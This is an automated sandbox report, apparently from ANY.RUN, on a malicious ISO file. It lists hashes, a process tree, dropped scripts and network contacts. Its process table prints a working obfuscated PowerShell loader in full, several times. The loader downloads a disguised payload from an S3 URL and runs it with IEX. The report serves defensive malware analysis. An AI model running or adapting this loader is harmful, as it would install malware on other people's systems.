File name: | QPRCK498428.iso.ISO |
Full analysis: | https://app.any.run/tasks/10fc5bdc-3dcf-4247-8208-2fe9230cc385 |
Verdict: | Malicious activity |
Analysis date: | January 14, 2022, 22:52:25 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/x-iso9660-image |
File info: | ISO 9660 CD-ROM filesystem data 'Mail' |
MD5: | A76936E525E8B8604C604F115302CF84 |
SHA1: | A0A3C6082F24CEAE7A264BAB036F55C9F4CA1C41 |
SHA256: | 9B74C6B8852CA72F3642DFD51D3A556DFFEDEC26CF31AF69CF2CB1AB0A39E64D |
SSDEEP: | 192:lAU/iKTvYyfK4DCqOKGf95k8XGQY6frGdjycHFeR75Eo:BTTYqKBFK8k8lrDcycleR75P |
.gmc | | | Game Music Creator Music (13.5) |
---|---|---|
.abr | | | Adobe PhotoShop Brush (12) |
VolumeName: | |
---|---|
VolumeBlockCount: | 28 |
VolumeBlockSize: | 2048 |
RootDirectoryCreateDate: | 2022:01:14 18:47:53+00:00 |
VolumeCreateDate: | 2022:01:14 18:47:53.46+00:00 |
VolumeModifyDate: | 2022:01:14 18:47:53.46+00:00 |
VolumeEffectiveDate: | 2022:01:14 18:47:53.46+00:00 |
VolumeSize: | 56 kB |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2256 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\QPRCK498428.iso.ISO" | C:\Program Files\WinRAR\WinRAR.exe | — | Explorer.EXE |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 | ||||
832 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.40856\QPRCK498428.vbs" | C:\Windows\System32\WScript.exe | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft � Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
3352 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [<#645848699465732105195380287398536904030378238146025604764639984530492547010939664251867247291236916#>System.Threading.Thread<#332582934080410965342560428418888379619956774943186044163478065547816208676717123690088264390539329#>]::Sleep(885557335194378991089635452410767445166130872137768064703175998831933835909392882813125872937454823);[<#881226574524467035756739689555252751625644928374972474814545552314681526844644513224919051730462161#>System.Threading.Thread<#544462906549900783721356981687314308695583891908023026103953193714290957895846672145227083480734405#>]::Sleep(361720056294770100834534979450663059629730671111794807664607425254769988602043428691349785043126617); $CMcmCLk='(New-';<#104287626038522532610194239851465902448853701335375449476793672258465401850339040992324545446048459#>$cRFZNFU<#908573536026652706339700453607594375571856550901775514836009707493001619461840490399262830314387938#> = 'FcToZba '.Replace('FcToZba','Object');<#330353833174427751061035914351580963843522738065878517819591677731953794999980608218653696559937714#>$tunbltM<#510534477852060853107530118032801301936831658882015175756738686695181667993386351153760457677069284#> = '8623093'.Replace('8623093','Net');$OjDWcdg<#250153126874169582138590232886165222377226929185100191881138388816950390888455167652398373025963315#> = 'duJIsbq'.Replace('duJIsbq','.We');$aKnyylX<#811227991280465912278007551837915671316795971627264870415149471449000404660551561917010286586543568#>='foYRetD '.Replace('foYRetD ','.Downlo');$eidNRbT<#013641744223997255744180918329689968004206360691223920434528726286866310075938732447216203341918429#> = 'OkwZafA'.Replace('OkwZafA','bClient)');[<#308193005475249696351229526676061814607011810057109098409289623130464751615114043683514601550262909#>System.Threading.Thread<#902792029052939860872955749761206506718699305169510257485179048122204793237260241766664687353202368#>]::Sleep(<#998380067313436303362194097464034126273445792407246032775071979484995426295600923067080962795188093#>2000<#306438298499538272654651829335211203279325447707873228998889919131044184735514588168317138005210002#>);<#397309945173855672384369450171872647247418566780208998484776911630098243134646914394900937122996535#>$lwdbCqP<#861122098562862161152450664323292818299173198171719595638757127350487586127512033064810696604331706#>='nbGEVOQ(''https://v3-fastupload.s3-accelerate.amazonaws.com/1641997458-image.mp3'')'.Replace('nbGEVOQ','adString');<#574641522893469503706150684357854152566314917851986966587273130993946711844822565143772025386674753#>$YZMVZRJ<#580913649042024269864618027802447779658184071440001353417374826065197308245895936293353167738067665#> = <#859303231381657595356127086158365125020366821533646321576606884558276145794642540289686675240587716#>$CMcmCLk,<#224473931473431264133899671659170574129100815631780651892791932502059371018612669863981183229099767#>$cRFZNFU,<#537525641023134406932515911730359194848624175568644706481489934387684505898295125351057833901680598#>$tunbltM,<#994931512654288049079387341385298552491778095342074754662856020905244601549295859288594780472599450#>$OjDWcdg,<#272139064285787471548684516721248839661331983800095166438646025883564114051998577993775691815917716#>$eidNRbT,<#933692313555877725402566668010444187488805377765075380124189245835240499212532827989826782709504664#>$aKnyylX,<#928263178579062698705129928185257046260284778043135775361415045562403230912338619853652391385729508#>$lwdbCqP;<#469573790628029047216945044120987780668442213140254403394682963674813132882216296335298562362700434#>$dnKjCGT<#062725273768547580172901546947299382239023848932508432353358088962523733211666541126164853690307471#> = 'XPJYQCF '.Replace('XPJYQCF ','I`E`X');<#717159288687601820585903060231480539672712265216424710315509299302723408648706012051460270579008883#>$OcQmYlt<#645848699465732105195380287398536904030378238146025604764639984530492547010939664251867247291236916#> = <#286549425252617420261699127529272653659319148715343009731638488938630443882891320112000597665012822#>$dnKjCGT+(<#578221803553221160850493742702662470202483065196220890108137147630188139709755250722276067674687473#>$YZMVZRJ -Join '')|I`E`X; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
3220 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.41362\QPRCK498428.vbs" | C:\Windows\System32\WScript.exe | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft � Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
976 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [<#645848699465732105195380287398536904030378238146025604764639984530492547010939664251867247291236916#>System.Threading.Thread<#332582934080410965342560428418888379619956774943186044163478065547816208676717123690088264390539329#>]::Sleep(885557335194378991089635452410767445166130872137768064703175998831933835909392882813125872937454823);[<#881226574524467035756739689555252751625644928374972474814545552314681526844644513224919051730462161#>System.Threading.Thread<#544462906549900783721356981687314308695583891908023026103953193714290957895846672145227083480734405#>]::Sleep(361720056294770100834534979450663059629730671111794807664607425254769988602043428691349785043126617); $CMcmCLk='(New-';<#104287626038522532610194239851465902448853701335375449476793672258465401850339040992324545446048459#>$cRFZNFU<#908573536026652706339700453607594375571856550901775514836009707493001619461840490399262830314387938#> = 'FcToZba '.Replace('FcToZba','Object');<#330353833174427751061035914351580963843522738065878517819591677731953794999980608218653696559937714#>$tunbltM<#510534477852060853107530118032801301936831658882015175756738686695181667993386351153760457677069284#> = '8623093'.Replace('8623093','Net');$OjDWcdg<#250153126874169582138590232886165222377226929185100191881138388816950390888455167652398373025963315#> = 'duJIsbq'.Replace('duJIsbq','.We');$aKnyylX<#811227991280465912278007551837915671316795971627264870415149471449000404660551561917010286586543568#>='foYRetD '.Replace('foYRetD ','.Downlo');$eidNRbT<#013641744223997255744180918329689968004206360691223920434528726286866310075938732447216203341918429#> = 'OkwZafA'.Replace('OkwZafA','bClient)');[<#308193005475249696351229526676061814607011810057109098409289623130464751615114043683514601550262909#>System.Threading.Thread<#902792029052939860872955749761206506718699305169510257485179048122204793237260241766664687353202368#>]::Sleep(<#998380067313436303362194097464034126273445792407246032775071979484995426295600923067080962795188093#>2000<#306438298499538272654651829335211203279325447707873228998889919131044184735514588168317138005210002#>);<#397309945173855672384369450171872647247418566780208998484776911630098243134646914394900937122996535#>$lwdbCqP<#861122098562862161152450664323292818299173198171719595638757127350487586127512033064810696604331706#>='nbGEVOQ(''https://v3-fastupload.s3-accelerate.amazonaws.com/1641997458-image.mp3'')'.Replace('nbGEVOQ','adString');<#574641522893469503706150684357854152566314917851986966587273130993946711844822565143772025386674753#>$YZMVZRJ<#580913649042024269864618027802447779658184071440001353417374826065197308245895936293353167738067665#> = <#859303231381657595356127086158365125020366821533646321576606884558276145794642540289686675240587716#>$CMcmCLk,<#224473931473431264133899671659170574129100815631780651892791932502059371018612669863981183229099767#>$cRFZNFU,<#537525641023134406932515911730359194848624175568644706481489934387684505898295125351057833901680598#>$tunbltM,<#994931512654288049079387341385298552491778095342074754662856020905244601549295859288594780472599450#>$OjDWcdg,<#272139064285787471548684516721248839661331983800095166438646025883564114051998577993775691815917716#>$eidNRbT,<#933692313555877725402566668010444187488805377765075380124189245835240499212532827989826782709504664#>$aKnyylX,<#928263178579062698705129928185257046260284778043135775361415045562403230912338619853652391385729508#>$lwdbCqP;<#469573790628029047216945044120987780668442213140254403394682963674813132882216296335298562362700434#>$dnKjCGT<#062725273768547580172901546947299382239023848932508432353358088962523733211666541126164853690307471#> = 'XPJYQCF '.Replace('XPJYQCF ','I`E`X');<#717159288687601820585903060231480539672712265216424710315509299302723408648706012051460270579008883#>$OcQmYlt<#645848699465732105195380287398536904030378238146025604764639984530492547010939664251867247291236916#> = <#286549425252617420261699127529272653659319148715343009731638488938630443882891320112000597665012822#>$dnKjCGT+(<#578221803553221160850493742702662470202483065196220890108137147630188139709755250722276067674687473#>$YZMVZRJ -Join '')|I`E`X; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
3680 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.41816\QPRCK498428.vbs" | C:\Windows\System32\WScript.exe | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft � Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
3232 | "C:\Windows\System32\WScript.exe" "C:\Users\Public\install.vbs" | C:\Windows\System32\WScript.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft � Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
2292 | C:\Windows\system32\cmd.exe /c ""C:\Users\Public\install.bat" " | C:\Windows\system32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3456 | PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\install.ps1'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
2332 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [<#645848699465732105195380287398536904030378238146025604764639984530492547010939664251867247291236916#>System.Threading.Thread<#332582934080410965342560428418888379619956774943186044163478065547816208676717123690088264390539329#>]::Sleep(885557335194378991089635452410767445166130872137768064703175998831933835909392882813125872937454823);[<#881226574524467035756739689555252751625644928374972474814545552314681526844644513224919051730462161#>System.Threading.Thread<#544462906549900783721356981687314308695583891908023026103953193714290957895846672145227083480734405#>]::Sleep(361720056294770100834534979450663059629730671111794807664607425254769988602043428691349785043126617); $CMcmCLk='(New-';<#104287626038522532610194239851465902448853701335375449476793672258465401850339040992324545446048459#>$cRFZNFU<#908573536026652706339700453607594375571856550901775514836009707493001619461840490399262830314387938#> = 'FcToZba '.Replace('FcToZba','Object');<#330353833174427751061035914351580963843522738065878517819591677731953794999980608218653696559937714#>$tunbltM<#510534477852060853107530118032801301936831658882015175756738686695181667993386351153760457677069284#> = '8623093'.Replace('8623093','Net');$OjDWcdg<#250153126874169582138590232886165222377226929185100191881138388816950390888455167652398373025963315#> = 'duJIsbq'.Replace('duJIsbq','.We');$aKnyylX<#811227991280465912278007551837915671316795971627264870415149471449000404660551561917010286586543568#>='foYRetD '.Replace('foYRetD ','.Downlo');$eidNRbT<#013641744223997255744180918329689968004206360691223920434528726286866310075938732447216203341918429#> = 'OkwZafA'.Replace('OkwZafA','bClient)');[<#308193005475249696351229526676061814607011810057109098409289623130464751615114043683514601550262909#>System.Threading.Thread<#902792029052939860872955749761206506718699305169510257485179048122204793237260241766664687353202368#>]::Sleep(<#998380067313436303362194097464034126273445792407246032775071979484995426295600923067080962795188093#>2000<#306438298499538272654651829335211203279325447707873228998889919131044184735514588168317138005210002#>);<#397309945173855672384369450171872647247418566780208998484776911630098243134646914394900937122996535#>$lwdbCqP<#861122098562862161152450664323292818299173198171719595638757127350487586127512033064810696604331706#>='nbGEVOQ(''https://v3-fastupload.s3-accelerate.amazonaws.com/1641997458-image.mp3'')'.Replace('nbGEVOQ','adString');<#574641522893469503706150684357854152566314917851986966587273130993946711844822565143772025386674753#>$YZMVZRJ<#580913649042024269864618027802447779658184071440001353417374826065197308245895936293353167738067665#> = <#859303231381657595356127086158365125020366821533646321576606884558276145794642540289686675240587716#>$CMcmCLk,<#224473931473431264133899671659170574129100815631780651892791932502059371018612669863981183229099767#>$cRFZNFU,<#537525641023134406932515911730359194848624175568644706481489934387684505898295125351057833901680598#>$tunbltM,<#994931512654288049079387341385298552491778095342074754662856020905244601549295859288594780472599450#>$OjDWcdg,<#272139064285787471548684516721248839661331983800095166438646025883564114051998577993775691815917716#>$eidNRbT,<#933692313555877725402566668010444187488805377765075380124189245835240499212532827989826782709504664#>$aKnyylX,<#928263178579062698705129928185257046260284778043135775361415045562403230912338619853652391385729508#>$lwdbCqP;<#469573790628029047216945044120987780668442213140254403394682963674813132882216296335298562362700434#>$dnKjCGT<#062725273768547580172901546947299382239023848932508432353358088962523733211666541126164853690307471#> = 'XPJYQCF '.Replace('XPJYQCF ','I`E`X');<#717159288687601820585903060231480539672712265216424710315509299302723408648706012051460270579008883#>$OcQmYlt<#645848699465732105195380287398536904030378238146025604764639984530492547010939664251867247291236916#> = <#286549425252617420261699127529272653659319148715343009731638488938630443882891320112000597665012822#>$dnKjCGT+(<#578221803553221160850493742702662470202483065196220890108137147630188139709755250722276067674687473#>$YZMVZRJ -Join '')|I`E`X; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2256 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.40856\QPRCK498428.vbs | text | |
MD5:4424AF111EE912E9C820BFD134D0E15C | SHA256:CDD5B174093EE1F18014D94003304FB7644C220B2EB43EF243C6321E2BAFBC8D | |||
3352 | powershell.exe | C:\Users\Public\SystemSettingsBroker.ps1 | text | |
MD5:F8FF7642ECC15098E9931C15FBCD4091 | SHA256:BEA42B2D0F7D6EFAAA4936E22F2F5EF6CCCF8D358CF97648B41D2CEEEF7EC3E7 | |||
3352 | powershell.exe | C:\Users\Public\SystemSettingsBroker.vbs | text | |
MD5:16D377B97B9E5856B581690FF2056154 | SHA256:195C4D8A1B6287A9F046EC323624BA63BFA29A4919CF2352AEE1FF217F64DCA1 | |||
2256 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.41816\QPRCK498428.vbs | text | |
MD5:4424AF111EE912E9C820BFD134D0E15C | SHA256:CDD5B174093EE1F18014D94003304FB7644C220B2EB43EF243C6321E2BAFBC8D | |||
3352 | powershell.exe | C:\Users\Public\install.vbs | text | |
MD5:623609EC0311B80317BA3858BB999C7B | SHA256:2A8D24BE841DA61E9116364D3DE350F8128D5AB03F4829AC575F67ECB34DF433 | |||
3352 | powershell.exe | C:\Users\Public\install.ps1 | text | |
MD5:3F8E1F71D5A1ECEDCF0B3DF6F8310FA1 | SHA256:432DA1B1DEF11E11DE5DCB9A49754E52E65A7701B86D530326A5710ABC464D40 | |||
3352 | powershell.exe | C:\Users\Public\SystemSettingsBroker.bat | text | |
MD5:028513349F8F47289F25ECDEA3109382 | SHA256:7F7329E4C6702905F6C4735449813F74806A59E752B5D07F8B473B9D419DE98C | |||
3352 | powershell.exe | C:\Users\Public\install.bat | text | |
MD5:287F5ADBAF540D647EF3E5AF4B5585F4 | SHA256:47386BCA6677057BA57167515424E0C6E0D56F055622D1220980C679C41BAE6B | |||
2256 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2256.41362\QPRCK498428.vbs | text | |
MD5:4424AF111EE912E9C820BFD134D0E15C | SHA256:CDD5B174093EE1F18014D94003304FB7644C220B2EB43EF243C6321E2BAFBC8D | |||
3456 | powershell.exe | C:\Users\admin\AppData\Local\Temp\auxkk0v4.bhy.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3552 | chrome.exe | GET | 200 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUwyMERESEZGVmJnQQ/1.0.0.6_nmmhkkegccagdldgiimedpiccmgmieda.crx | US | crx | 242 Kb | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3552 | chrome.exe | 142.250.186.138:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
3552 | chrome.exe | 216.58.212.131:443 | clientservices.googleapis.com | Google Inc. | US | whitelisted |
3552 | chrome.exe | 142.250.186.163:443 | fonts.gstatic.com | Google Inc. | US | whitelisted |
3144 | powershell.exe | 18.66.99.144:443 | v3-fastupload.s3-accelerate.amazonaws.com | Massachusetts Institute of Technology | US | unknown |
3352 | powershell.exe | 18.66.99.144:443 | v3-fastupload.s3-accelerate.amazonaws.com | Massachusetts Institute of Technology | US | unknown |
976 | powershell.exe | 18.66.99.144:443 | v3-fastupload.s3-accelerate.amazonaws.com | Massachusetts Institute of Technology | US | unknown |
3552 | chrome.exe | 34.104.35.123:80 | edgedl.me.gvt1.com | — | US | whitelisted |
3552 | chrome.exe | 142.250.185.228:443 | www.google.com | Google Inc. | US | whitelisted |
3552 | chrome.exe | 142.250.185.131:443 | ssl.gstatic.com | Google Inc. | US | whitelisted |
2332 | powershell.exe | 18.66.99.144:443 | v3-fastupload.s3-accelerate.amazonaws.com | Massachusetts Institute of Technology | US | unknown |
Domain | IP | Reputation |
---|---|---|
v3-fastupload.s3-accelerate.amazonaws.com |
| shared |
dns.msftncsi.com |
| shared |
accounts.google.com |
| shared |
clients2.google.com |
| whitelisted |
clientservices.googleapis.com |
| whitelisted |
www.google.com |
| whitelisted |
fonts.googleapis.com |
| whitelisted |
www.gstatic.com |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
apis.google.com |
| whitelisted |